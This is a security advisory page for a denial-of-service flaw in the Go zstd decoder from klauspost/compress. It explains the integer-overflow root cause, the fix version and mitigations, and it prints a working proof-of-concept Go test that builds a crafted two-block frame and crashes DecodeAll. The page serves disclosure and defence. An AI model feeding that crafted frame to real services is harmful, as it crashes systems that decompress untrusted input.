How severe is CVE-2026-116591?

No CVSS score has been assigned to CVE-2026-116591 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2026-116591?

CVE-2026-116591 affects the following packages: github.com/klauspost/compress/zstd (Go). Ecosystems affected: Go.

How do I fix CVE-2026-116591?

Update github.com/klauspost/compress/zstd to 1.20.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-116591 is resolved across your whole dependency graph.

How do I detect CVE-2026-116591 in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/klauspost/compress/zstd, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-116591 if there is no patch (or I can't update yet)?

Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.

Is CVE-2026-116591 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-116591 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-116591?

CVE-2026-116591 has an EPSS (Exploit Prediction Scoring System) score of 0.3%, placing it in the 26th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2026-116591?

CVE-2026-116591 is classified as CWE-190 (CWE-190). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was CVE-2026-116591 published, and has it been updated?

CVE-2026-116591 was published on October 26, 2026 and was last updated on October 29, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹 Go

Not in CISA KEV

CVE-2026-116591 — zstd

Fix: klauspost/compress@7f5d852

CVE-2026-116591 is a CWE-190 vulnerability in github.com/klauspost/compress/zstd. A fix is available for github.com/klauspost/compress/zstd — see the affected versions and patch details below.

compress zstd: Panic on two-block frames

Also known asGHSA-fpmh-frq8-7rj8

Published

Oct 26, 2026

Updated

Oct 29, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Oct 28, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-116591.

EPSS Exploitation Probability

via FIRST.org ↗

0.3%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs26th percentile — riskier than 26% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

🐹github.com/klauspost/compress/zstd

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A crafted ~27 KB two-block zstd frame makes DecodeAll and the streaming decoder panic with an out-of-range slice index instead of returning a decode error. The same bytes decode fine with the reference zstd. Any program that decompresses untrusted zstd input can be crashed by it. Reproduced on v1.20.0 and v1.20.1.

Released in https://github.com/klauspost/compress/releases/tag/v1.20.2

Details

The panic is in the FSE decoder that huff0.ReadTable uses to read a block's Huffman-weight table. Three conditions have to hold at once, and the crafted frame arranges all three.

1. A count that doesn't fit is accepted. readNCount permits a tableLog up to 15 (tablelogAbsoluteMax, checked at fse/decompress.go:54), so a symbol's normalized count can reach 32768 (2^15). The count is stored in an int16 at fse/decompress.go:126, where 32768 wraps to −32768. The validation only looks at the int32 running totals (remaining and gotTotal), which still match, so the bad value passes. The crafted second block produces norm = [0, -32768], symbolLen = 2.

2. The decode table is built empty, with no error. In buildDtable, −32768 isn't the −1 that flags a low-probability symbol, so it skips that branch, and the spread loop for i := 0; i < int(v); i++ runs zero times for a negative v. position never advances, so the position != 0 guard passes as well.

3. Stale state from the previous block is reused. huff0 shares one fse.Scratch across both blocks, and allocDtable reuses decTable and ct.stateTable without clearing them. So the table is rebuilt on top of block 1's symbols and symbolNext values. Many cells end up with nbBits == 0, because the leftover nextState is ≥ 32768.

At decode time, every symbol's count is below largeLimit, so zeroBits stays false and decompress takes the nextFast path. On a cell with nbBits == 0, getBitsFast(0) shifts by (64-0)&63 == 0 and returns the low 16 bits of the whole register instead of 0. The state runs past the end of the table, and d.dt[d.state] panics:

panic: runtime error: index out of range [33077] with length 32768

Both blocks are needed. With a fresh Scratch, every cell would be symbol 0 with symbolNext 0, highBits(0) would underflow, newState would reach 32768, and the newState >= tableSize guard would return an error. Block 1's leftover state is what carries the malformed table past that guard.

The underlying bug is the int16 storage combined with a tableLog allowed to reach 15. The C reference uses short too, but caps the FSE tableLog at 12 and the Huffman-weight tableLog at 6, so the count never wraps. huff0.ReadTable doesn't enforce that 6-bit bound.

A fix: reject a count of 1<<15 (or nbBits > 14) in readNCount, and enforce the weight-table tableLog in huff0. Clearing the reused table would also turn the panic into an error.

Proof of concept

Run the following repro:

package compression

import (
	"bytes"
	"slices"
	"testing"

	"github.com/klauspost/compress/zstd"
	"github.com/stretchr/testify/require"
)

func TestDecodeAll(t *testing.T) {
	// zstdFSEPanic is a crafted two-block zstd frame that makes
	// github.com/klauspost/compress (v1.20.0 and v1.20.1) panic with an
	// out-of-range index in fse.nextFast rather than returning an error. Cross-block
	// FSE table-state carryover lets the second block's malformed Huffman-weight
	// table pass the decoder's guard and overflow the decode table.
	zstdFSEPanic := slices.Concat(
		[]byte{0x28, 0xb5, 0x2f, 0xfd, 0x00, 0x38, 0x74, 0x06, 0x00, 0x42, 0xb8, 0x32, 0x0d, 0x1a, 0x00, 0x00, 0x00, 0x90, 0xaf, 0xfa, 0xff, 0x03, 0x00, 0x80, 0xff, 0x7f},
		bytes.Repeat([]byte{0xa5, 0x94, 0x52, 0x4a, 0x29}, 37),
		[]byte{0xa5, 0x94, 0x12, 0x00, 0xad, 0x56, 0x03, 0xee, 0xff, 0xdf, 0xb3, 0x1a, 0x1c, 0x1a, 0x00, 0xe0, 0xff, 0x1f, 0x0f, 0xb1, 0x9c, 0x5a, 0xcf, 0x4d, 0xe4, 0x1d, 0x7b, 0xab, 0x99, 0x5e, 0x01, 0x51, 0xa4, 0x73, 0xd8, 0xb1, 0xf3, 0x39, 0x4b, 0x67, 0xf6, 0xab, 0x1a, 0xab, 0x1a, 0xab, 0x1a},
		bytes.Repeat([]byte{0x8c, 0x31, 0xc6, 0x18, 0x63}, 1365),
		[]byte{0x8c, 0x31},
		bytes.Repeat([]byte{0x63, 0x8c, 0x31, 0xc6, 0x18}, 1365),
		[]byte{0x63, 0x2c},
		bytes.Repeat([]byte{0x31, 0xc6, 0x18, 0x63, 0x8c}, 1365),
		[]byte{0x31, 0x46},
		bytes.Repeat([]byte{0x31, 0xc6, 0x18, 0x63, 0x8c}, 1365),
		[]byte{0x31, 0x06, 0x00},
	)

	decoder, err := zstd.NewReader(nil)
	require.NoError(t, err)

	dst := make([]byte, 100*1024)
	_, err = decoder.DecodeAll(zstdFSEPanic, dst)
	require.NoError(t, err)
}

Outputs:

panic: runtime error: index out of range [33077] with length 32768 [recovered, repanicked]

goroutine 36 [running]:
testing.tRunner.func1.2({0x100c2b7c0, 0x2472599b62a0})
	/Users/joshua.kim/golang/pkg/mod/golang.org/[email protected]/src/testing/testing.go:1974 +0x1a0
testing.tRunner.func1()
	/Users/joshua.kim/golang/pkg/mod/golang.org/[email protected]/src/testing/testing.go:1977 +0x318
panic({0x100c2b7c0?, 0x2472599b62a0?})
	/Users/joshua.kim/golang/pkg/mod/golang.org/[email protected]/src/runtime/panic.go:860 +0x12c
github.com/klauspost/compress/fse.(*decoder).nextFast(...)
	/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/[email protected]/fse/decompress.go:372
github.com/klauspost/compress/fse.(*Scratch).decompress(0x247259981008)
	/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/[email protected]/fse/decompress.go:280 +0xa08
github.com/klauspost/compress/fse.Decompress({0x247259ab60e0?, 0x0?, 0x0?}, 0x1007c839c?)
	/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/[email protected]/fse/decompress.go:33 +0x64
github.com/klauspost/compress/huff0.ReadTable({0x247259ab60df, 0x6acf, 0x6f21}, 0x1007899f8?)
	/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/[email protected]/huff0/decompress.go:61 +0x130
github.com/klauspost/compress/zstd.(*blockDec).decodeLiterals(0x247259aa42d0, {0x247259ab60da?, 0x19384?, 0x20000?}, 0x247259a9a958)
	/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/[email protected]/zstd/blockdec.go:446 +0x550
github.com/klauspost/compress/zstd.(*blockDec).decodeCompressed(0x247259aa42d0, 0x247259a9a958)
	/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/[email protected]/zstd/blockdec.go:480 +0x34
github.com/klauspost/compress/zstd.(*blockDec).decodeBuf(0x247259aa42d0, 0x247259a9a958)
	/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/[email protected]/zstd/blockdec.go:256 +0x20c
github.com/klauspost/compress/zstd.(*frameDec).runDecoder(0x247259a9a908, {0x247259ac6000?, 0x19000, 0x129ca3800?}, 0x247259aa42d0)
	/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/[email protected]/zstd/framedec.go:371 +0x170
github.com/klauspost/compress/zstd.(*Decoder).DecodeAll(0x247259aa41e0, {0x247259ab6000, 0x6baf, 0x7000}, {0x247259ac6000, 0x19000, 0x19000})
	/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/[email protected]/zstd/decoder.go:395 +0x410
github.com/ava-labs/avalanchego/utils/compression.TestDecodeAll(0x247259a9a6c8)
	/Users/joshua.kim/workspace/avalanchego/utils/compression/zstd_fse_panic_test.go:40 +0x498
testing.tRunner(0x247259a9a6c8, 0x100c4ae80)
	/Users/joshua.kim/golang/pkg/mod/golang.org/[email protected]/src/testing/testing.go:2036 +0xc4
created by testing.(*T).Run in goroutine 1
	/Users/joshua.kim/golang/pkg/mod/golang.org/[email protected]/src/testing/testing.go:2101 +0x3a8

Impact

This is a panic that callers cannot guard against with error handling. This should be a DOS for most users.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/klauspost/compress/zstd`	all versions	1.20.2`go get github.com/klauspost/compress/zstd@v1.20.2`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/klauspost/compress/zstd, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/klauspost/compress/zstd to 1.20.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-116591 is resolved across your whole dependency graph.
Workarounds
Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.

Frequently Asked Questions

### Summary A crafted ~27 KB two-block zstd frame makes DecodeAll and the streaming decoder panic with an out-of-range slice index instead of returning a decode error. The same bytes decode fine with the reference zstd. Any program that decompresses untrusted zstd input can be crashed by it. Reproduced on v1.20.0 and v1.20.1. Released in https://github.com/klauspost/compress/releases/tag/v1.20.2 ### Details The panic is in the FSE decoder that `huff0.ReadTable` uses to read a block's Huffman-weight table. Three conditions have to hold at once, and the crafted frame arranges all three.

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